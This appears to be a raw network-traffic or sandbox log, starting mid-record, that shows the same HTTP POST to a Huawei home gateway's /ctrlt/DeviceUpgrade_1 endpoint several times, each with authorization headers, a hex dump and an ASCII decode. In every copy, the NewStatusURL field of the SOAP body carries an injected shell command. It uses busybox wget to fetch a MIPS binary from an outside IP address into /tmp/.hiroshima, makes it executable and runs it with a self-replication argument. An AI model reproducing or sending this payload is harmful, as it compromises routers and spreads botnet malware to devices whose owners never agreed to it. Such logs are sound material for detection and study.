xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
